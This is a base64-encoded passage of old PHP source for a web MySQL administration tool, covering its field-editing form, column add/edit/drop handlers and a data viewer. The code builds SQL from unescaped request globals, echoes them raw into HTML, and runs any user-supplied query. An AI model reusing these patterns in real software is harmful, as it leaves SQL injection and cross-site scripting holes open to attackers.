ZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZSAmZ3Q7ICR0YWJsZW5hbWU8L3A+XG4iOwoJ
ZWNobyAiPGZvcm0gYWN0aW9uPSRQSFBfU0VMRj5cbiI7CgoJaWYoICRjbWQgPT0gImFkZCIgKQoJ
CWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1hZGRGaWVsZF9zdWJt
aXQ+XG4iOwoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7CgkJZWNobyAiPGlucHV0IHR5cGU9
aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWVkaXRGaWVsZF9zdWJtaXQ+XG4iOwoJCWVjaG8gIjxp
bnB1dCB0eXBlPWhpZGRlbiBuYW1lPW9sZF9uYW1lIHZhbHVlPSRmaWVsZG5hbWU+XG4iOwoJfQoJ
ZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGJuYW1lIHZhbHVlPSRkYm5hbWU+XG4iOwoJ
ZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9dGFibGVuYW1lIHZhbHVlPSR0YWJsZW5hbWU+
XG4iOwoKCWVjaG8gIjxoMz5OYW1lPC9oMz5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5h
bWU9bmFtZSB2YWx1ZT0kZmllbGRuYW1lPjxwPlxuIjsKCWVjaG8gJwoKPGgzPlR5cGU8L2gzPgoK
PGZvbnQgc2l6ZT0yPgoqIGBNXCcgaW5kaWNhdGVzIHRoZSBtYXhpbXVtIGRpc3BsYXkgc2l6ZS48
YnI+CiogYERcJyBhcHBsaWVzIHRvIGZsb2F0aW5nLXBvaW50IHR5cGVzIGFuZCBpbmRpY2F0ZXMg
dGhlIG51bWJlciBvZiBkaWdpdHMgZm9sbG93aW5nIHRoZSBkZWNpbWFsIHBvaW50Ljxicj4KPC9m
b250PgoKPHRhYmxlPgo8dHI+Cjx0aD5UeXBlPC90aD48dGg+Jm5ic3BNJm5ic3A8L3RoPjx0aD4m
bmJzcEQmbmJzcDwvdGg+PHRoPnVuc2lnbmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0aD5iaW5h
cnk8L3RoPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9
IlRJTllJTlQiICc7IGlmKCAkdHlwZSA9PSAidGlueWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hv
ICc+VElOWUlOVCAoLTEyOCB+IDEyNyk8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+
Jm5ic3A8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3Rk
Pgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5
cGUgdmFsdWU9IlNNQUxMSU5UIiAnOyBpZiggJHR5cGUgPT0gInNtYWxsaW50IiApIGVjaG8gImNo
ZWNrZWQiO2VjaG8gJz5TTUFMTElOVCAoLTMyNzY4IH4gMzI3NjcpPC90ZD4KPHRkIGFsaWduPWNl
bnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkIGFs
aWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5
cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJNRURJVU1JTlQiICc7IGlmKCAkdHlwZSA9PSAibWVk
aXVtaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5NRURJVU1JTlQgKC04Mzg4NjA4IH4gODM4
ODYwNyk8L3RkPgoKPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkIGFs
aWduPWNlbnRlcj5PPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4K
PC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJJTlQiICc7
IGlmKCAkdHlwZSA9PSAiaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5JTlQgKC0yMTQ3NDgz
NjQ4IH4gMjE0NzQ4MzY0Nyk8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8
L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+
Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFs
dWU9IkJJR0lOVCIgJzsgaWYoICR0eXBlID09ICJiaWdpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNo
byAnPkJJR0lOVCAoLTkyMjMzNzIwMzY4NTQ3NzU4MDggfiA5MjIzMzcyMDM2ODU0Nzc1ODA3KTwv
dGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZCBhbGlnbj1jZW50
ZXI+TzwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0
cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iRkxPQVQiICc7IGlmKCAk
dHlwZSA9PSAiZmxvYXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkZMT0FUPC90ZD4KPHRkIGFs
aWduPWNlbnRlcj5PPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4K
PHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlu
cHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJET1VCTEUiICc7IGlmKCAkdHlwZSA9PSAi
ZG91YmxlIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5ET1VCTEU8L3RkPgo8dGQgYWxpZ249Y2Vu
dGVyPk88L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQgYWxp
Z249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlw
ZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRFQ0lNQUwiICc7IGlmKCAkdHlwZSA9PSAiZGVjaW1h
bCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+REVDSU1BTChOVU1FUklDKTwvdGQ+Cjx0ZCBhbGln
bj1jZW50ZXI+TzwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0
ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1
dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURSIgJzsgaWYoICR0eXBlID09ICJkYXRl
IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5EQVRFICgxMDAwLTAxLTAxIH4gOTk5OS0xMi0zMSwg
WVlZWS1NTS1ERCk8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8
L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQg
dHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRBVEVUSU1FIiAnOyBpZiggJHR5cGUgPT0gImRh
dGV0aW1lIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5EQVRFVElNRSAoMTAwMC0wMS0wMSAwMDow
MDowMCB+IDk5OTktMTItMzEgMjM6NTk6NTksIFlZWVktTU0tREQgSEg6TU06U1MpPC90ZD4KPHRk
PiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4K
PHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBl
IHZhbHVlPSJUSU1FU1RBTVAiICc7IGlmKCAkdHlwZSA9PSAidGltZXN0YW1wIiApIGVjaG8gImNo
ZWNrZWQiO2VjaG8gJz5USU1FU1RBTVAgKDE5NzAtMDEtMDEgMDA6MDA6MDAgfiAyMTA2Li4uLCBZ
WVlZTU1ERFtISFtNTVtTU11dXSk8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5i
c3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3Ry
Pgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTUUiICc7IGlm
KCAkdHlwZSA9PSAidGltZSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRSAoLTgzODo1OTo1
OSB+IDgzODo1OTo1OSwgSEg6TU06U1MpPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90
ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRy
Pgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJZRUFSIiAnOyBpZiggJHR5
cGUgPT0gInllYXIiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPllFQVIgKDE5MDEgfiAyMTU1LCAw
MDAwLCBZWVlZKTwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwv
dGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1dCB0
eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQ0hBUiIgJzsgaWYoICR0eXBlID09ICJjaGFyIiAp
IGVjaG8gImNoZWNrZWQiO2VjaG8gJz5DSEFSPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4K
PHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkIGFsaWduPWNl
bnRlcj5PPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZh
bHVlPSJWQVJDSEFSIiAnOyBpZiggJHR5cGUgPT0gInZhcmNoYXIiICkgZWNobyAiY2hlY2tlZCI7
ZWNobyAnPlZBUkNIQVI8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3Rk
Pgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8
L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllURVhU
IiAnOyBpZiggJHR5cGUgPT0gInRpbnl0ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5USU5Z
VEVYVCAoMCB+IDI1NSk8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5i
c3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5w
dXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRFWFQiICc7IGlmKCAkdHlwZSA9PSAidGV4
dCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VEVYVCAoMCB+IDY1NTM1KTwvdGQ+Cjx0ZD4mbmJz
cDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4m
bmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1
ZT0iTUVESVVNVEVYVCIgJzsgaWYoICR0eXBlID09ICJtZWRpdW10ZXh0IiApIGVjaG8gImNoZWNr
ZWQiO2VjaG8gJz5NRURJVU1URVhUICgwIH4gMTY3NzcyMTUpPC90ZD4KPHRkPiZuYnNwPC90ZD4K
PHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90
ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJMT05H
VEVYVCIgJzsgaWYoICR0eXBlID09ICJsb25ndGV4dCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+
TE9OR1RFWFQgKDAgfiA0Mjk0OTY3Mjk1KTwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwv
dGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0
cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElOWUJMT0IiICc7IGlm
KCAkdHlwZSA9PSAidGlueWJsb2IiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllCTE9CICgw
IH4gMjU1KTwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+
Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBl
PXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQkxPQiIgJzsgaWYoICR0eXBlID09ICJibG9iIiApIGVj
aG8gImNoZWNrZWQiO2VjaG8gJz5CTE9CICgwIH4gNjU1MzUpPC90ZD4KPHRkPiZuYnNwPC90ZD4K
PHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90
ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJNRURJ
VU1CTE9CIiAnOyBpZiggJHR5cGUgPT0gIm1lZGl1bWJsb2IiICkgZWNobyAiY2hlY2tlZCI7ZWNo
byAnPk1FRElVTUJMT0IgKDAgfiAxNjc3NzIxNSk8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5i
c3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3Ry
Pgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkxPTkdCTE9CIiAn
OyBpZiggJHR5cGUgPT0gImxvbmdibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5MT05HQkxP
QiAoMCB+IDQyOTQ5NjcyOTUpPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRk
PiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4gCjx0cj4KPHRk
PjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iRU5VTSIgJzsgaWYoICR0eXBlID09
ICJlbnVtIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5FTlVNPC90ZD4KPHRkIGNvbHNwYW49NT48
Y2VudGVyPnZhbHVlIGxpc3Q8L2NlbnRlcj48L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlw
ZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlNFVCIgJzsgaWYoICR0eXBlID09ICJzZXQiICkgZWNo
byAiY2hlY2tlZCI7ZWNobyAnPlNFVDwvdGQ+Cjx0ZCBjb2xzcGFuPTU+PGNlbnRlcj52YWx1ZSBs
aXN0PC9jZW50ZXI+PC90ZD4KPC90cj4KCjwvdGFibGU+Cjx0YWJsZT4KPHRyPjx0aD5NPC90aD48
dGg+RDwvdGg+PHRoPnVuc2lnbmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0aD5iaW5hcnk8L3Ro
Pjx0aD52YWx1ZSBsaXN0IChleDogXCdhcHBsZVwnLCBcJ29yYW5nZVwnLCBcJ2JhbmFuYVwnKSA8
L3RoPjwvdHI+Cjx0cj4KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBu
YW1lPU0gJzsgaWYoICRNICE9ICIiICkgZWNobyAidmFsdWU9JE0iO2VjaG8gJz48L3RkPgo8dGQg
YWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT00IG5hbWU9RCAnOyBpZiggJEQgIT0g
IiIgKSBlY2hvICJ2YWx1ZT0kRCI7ZWNobyAnPjwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0
IHR5cGU9Y2hlY2tib3ggbmFtZT11bnNpZ25lZCB2YWx1ZT0iVU5TSUdORUQiICc7IGlmKCBzdHJw
b3MoICRmaWVsZHR5cGUsICJ1bnNpZ25lZCIgKSApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz48L3Rk
Pgo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9emVyb2ZpbGwgdmFs
dWU9IlpFUk9GSUxMIiAnOyBpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiemVyb2ZpbGwiICkgKSBl
Y2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1j
aGVja2JveCBuYW1lPWJpbmFyeSB2YWx1ZT0iQklOQVJZIiAnOyBpZiggc3RycG9zKCAkZmllbGR0
eXBlLCAiYmluYXJ5IiApICApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz48L3RkPgo8dGQgYWxpZ249
Y2VudGVyPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT02MCBuYW1lPXZhbHVlbGlzdCAnOyBpZiggJHZh
bHVlbGlzdCAhPSAiIiApIGVjaG8gInZhbHVlPVwiJHZhbHVlbGlzdFwiIjtlY2hvICc+PC90ZD4K
PC90cj4KPC90YWJsZT4KCgo8aDM+RmxhZ3M8L2gzPgo8dGFibGU+Cjx0cj48dGg+bm90IG51bGw8
L3RoPjx0aD5kZWZhdWx0IHZhbHVlPC90aD48dGg+YXV0byBpbmNyZW1lbnQ8L3RoPjx0aD5wcmlt
YXJ5IGtleTwvdGg+PC90cj4KPHRyPgo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNr
Ym94IG5hbWU9bm90X251bGwgdmFsdWU9Ik5PVCBOVUxMIiAnOyBpZiggJGZpZWxkbnVsbCAhPSAi
WUVTIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz48L3RkPgo8dGQgYWxpZ249Y2VudGVyPjxpbnB1
dCB0eXBlPXRleHQgbmFtZT1kZWZhdWx0X3ZhbHVlICc7IGlmKCAkZmllbGRkZWZhdWx0ICE9ICIi
ICkgZWNobyAidmFsdWU9JGZpZWxkZGVmYXVsdCI7ZWNobyAnPjwvdGQ+Cjx0ZCBhbGlnbj1jZW50
ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hdXRvX2luY3JlbWVudCB2YWx1ZT0iQVVUT19J
TkNSRU1FTlQiICc7IGlmKCAkZmllbGRleHRyYSA9PSAiYXV0b19pbmNyZW1lbnQiICkgZWNobyAi
Y2hlY2tlZCI7ZWNobyAnPjwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2ti
b3ggbmFtZT1wcmltYXJ5X2tleSB2YWx1ZT0iUFJJTUFSWSBLRVkiICc7IGlmKCAkZmllbGRrZXkg
PT0gIlBSSSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4KPC90cj4KPC90YWJsZT4KCjxw
Pic7CgoJaWYoICRjbWQgPT0gImFkZCIgKQoJCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1
ZT0nQWRkIEZpZWxkJz5cbiI7CgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApCgkJZWNobyAiPGlu
cHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IEZpZWxkJz5cbiI7CgllY2hvICI8aW5wdXQgdHlw
ZT1idXR0b24gdmFsdWU9Q2FuY2VsIG9uQ2xpY2s9J2hpc3RvcnkuYmFjaygpJz5cbiI7CgllY2hv
ICI8L2Zvcm0+XG4iOwp9CgpmdW5jdGlvbiBtYW5hZ2VGaWVsZF9zdWJtaXQoICRjbWQgKSB7Cgln
bG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkb2xkX25hbWUsICRuYW1l
LCAkdHlwZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2csCgkJJE0sICRELCAkdW5zaWdu
ZWQsICR6ZXJvZmlsbCwgJGJpbmFyeSwgJG5vdF9udWxsLCAkZGVmYXVsdF92YWx1ZSwgJGF1dG9f
aW5jcmVtZW50LCAkcHJpbWFyeV9rZXksICR2YWx1ZWxpc3Q7CgoJaWYoICRjbWQgPT0gImFkZCIg
KQoJCSRxdWVyeVN0ciA9ICJBTFRFUiBUQUJMRSAkdGFibGVuYW1lIEFERCAkbmFtZSAiOwoJZWxz
ZSBpZiggJGNtZCA9PSAiZWRpdCIgKQoJCSRxdWVyeVN0ciA9ICJBTFRFUiBUQUJMRSAkdGFibGVu
YW1lIENIQU5HRSAkb2xkX25hbWUgJG5hbWUgIjsKCQoJaWYoICRNICE9ICIiICkKCQlpZiggJEQg
IT0gIiIgKQoJCQkkcXVlcnlTdHIgLj0gIiR0eXBlKCRNLCREKSAiOwoJCWVsc2UKCQkJJHF1ZXJ5
U3RyIC49ICIkdHlwZSgkTSkgIjsKCWVsc2UgaWYoICR2YWx1ZWxpc3QgIT0gIiIgKSB7CgkJJHZh
bHVlbGlzdCA9IHN0cmlwc2xhc2hlcyggJHZhbHVlbGlzdCApOwoJCSRxdWVyeVN0ciAuPSAiJHR5
cGUoJHZhbHVlbGlzdCkgIjsKCX0gZWxzZQoJCSRxdWVyeVN0ciAuPSAiJHR5cGUgIjsKCgkkcXVl
cnlTdHIgLj0gIiR1bnNpZ25lZCAkemVyb2ZpbGwgJGJpbmFyeSAiOwoKCWlmKCAkZGVmYXVsdF92
YWx1ZSAhPSAiIiApCgkJJHF1ZXJ5U3RyIC49ICJERUZBVUxUICckZGVmYXVsdF92YWx1ZScgIjsK
CQoJJHF1ZXJ5U3RyIC49ICIkbm90X251bGwgJGF1dG9faW5jcmVtZW50IjsKCglteXNxbF9zZWxl
Y3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOwoJbXlzcWxfcXVlcnkoICRxdWVyeVN0ciwg
JG15c3FsSGFuZGxlICk7CgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsKCgkvLyBrZXkgY2hhbmdl
Cgkka2V5Q2hhbmdlID0gZmFsc2U7CgkkcmVzdWx0ID0gbXlzcWxfcXVlcnkoICJTSE9XIEtFWVMg
RlJPTSAkdGFibGVuYW1lIiApOwoJJHByaW1hcnkgPSAiIjsKCXdoaWxlKCAkcm93ID0gbXlzcWxf
ZmV0Y2hfYXJyYXkoJHJlc3VsdCkgKQoJCWlmKCAkcm93WyJLZXlfbmFtZSJdID09ICJQUklNQVJZ
IiApIHsKCQkJaWYoICRyb3dbQ29sdW1uX25hbWVdID09ICRuYW1lICkKCQkJCSRrZXlDaGFuZ2Ug
PSB0cnVlOwoJCQllbHNlCgkJCQkkcHJpbWFyeSAuPSAiLCAkcm93W0NvbHVtbl9uYW1lXSI7CgkJ
fQoJaWYoICRwcmltYXJ5X2tleSA9PSAiUFJJTUFSWSBLRVkiICkgewoJCSRwcmltYXJ5IC49ICIs
ICRuYW1lIjsKCQkka2V5Q2hhbmdlID0gISRrZXlDaGFuZ2U7Cgl9CgkkcHJpbWFyeSA9IHN1YnN0
ciggJHByaW1hcnksIDIgKTsKCWlmKCAka2V5Q2hhbmdlID09IHRydWUgKSB7CgkJJHEgPSAiQUxU
RVIgVEFCTEUgJHRhYmxlbmFtZSBEUk9QIFBSSU1BUlkgS0VZIjsKCQlteXNxbF9xdWVyeSggJHEg
KTsKCQkkcXVlcnlTdHIgLj0gIjxicj5cbiIgLiAkcTsKCQkkZXJyTXNnIC49ICI8YnI+XG4iIC4g
bXlzcWxfZXJyb3IoKTsKCQkkcSA9ICJBTFRFUiBUQUJMRSAkdGFibGVuYW1lIEFERCBQUklNQVJZ
IEtFWSggJHByaW1hcnkgKSI7CgkJbXlzcWxfcXVlcnkoICRxICk7CgkJJHF1ZXJ5U3RyIC49ICI8
YnI+XG4iIC4gJHE7CgkJJGVyck1zZyAuPSAiPGJyPlxuIiAuIG15c3FsX2Vycm9yKCk7Cgl9CgoJ
dmlld1NjaGVtYSgpOwp9CgpmdW5jdGlvbiBkcm9wRmllbGQoKSB7CglnbG9iYWwgJG15c3FsSGFu
ZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0
ciwgJGVyck1zZzsKCgkkcXVlcnlTdHIgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBEUk9QIENP
TFVNTiAkZmllbGRuYW1lIjsKCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxl
ICk7CglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICwgJG15c3FsSGFuZGxlICk7CgkkZXJyTXNnID0g
bXlzcWxfZXJyb3IoKTsKCgl2aWV3U2NoZW1hKCk7Cn0KCmZ1bmN0aW9uIHZpZXdEYXRhKCAkcXVl
cnlTdHIgKSB7CglnbG9iYWwgJGFjdGlvbiwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVu
YW1lLCAkUEhQX1NFTEYsICRlcnJNc2csICRwYWdlLCAkcm93cGVycGFnZSwgJG9yZGVyYnk7CgoJ
ZWNobyAiPGgxPkRhdGEgaW4gVGFibGU8L2gxPlxuIjsKCWlmKCAkdGFibGVuYW1lICE9ICIiICkK
CQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kZGJuYW1lICZndDsgJHRhYmxlbmFtZTwvcD5cbiI7
CgllbHNlCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7CgoJJHF1ZXJ5
U3RyID0gc3RyaXBzbGFzaGVzKCAkcXVlcnlTdHIgKTsKCWlmKCAkcXVlcnlTdHIgPT0gIiIgKSB7
CgkJJHF1ZXJ5U3RyID0gIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSI7CgkJaWYoICRvcmRlcmJ5
ICE9ICIiICkKCQkJJHF1ZXJ5U3RyIC49ICIgT1JERVIgQlkgJG9yZGVyYnkiOwoJCWVjaG8gIjxh
IGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YWRkRGF0YSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9
JHRhYmxlbmFtZSc+QWRkIERhdGE8L2E+IHwgXG4iOwoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VM
Rj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+
U2NoZW1hPC9hPlxuIjsKCX0KCgkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAk
cXVlcnlTdHIgKTsKCSRmaWVsZHQgPSBteXNxbF9mZXRjaF9maWVsZCgkcFJlc3VsdCk7CgkkdGFi
bGVuYW1lID0gJGZpZWxkdC0+dGFibGU7CgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsKCgkkR0xP
QkFMU1txdWVyeVN0cl0gPSAkcXVlcnlTdHI7CgoJaWYoICRwUmVzdWx0ID09IGZhbHNlICkgewoJ
CWVjaG9RdWVyeVJlc3VsdCgpOwoJCXJldHVybjsKCX0KCWlmKCAkcFJlc3VsdCA9PSAxICkgewoJ
CSRlcnJNc2cgPSAiU3VjY2VzcyI7CgkJZWNob1F1ZXJ5UmVzdWx0KCk7CgkJcmV0dXJuOwoJfQoK
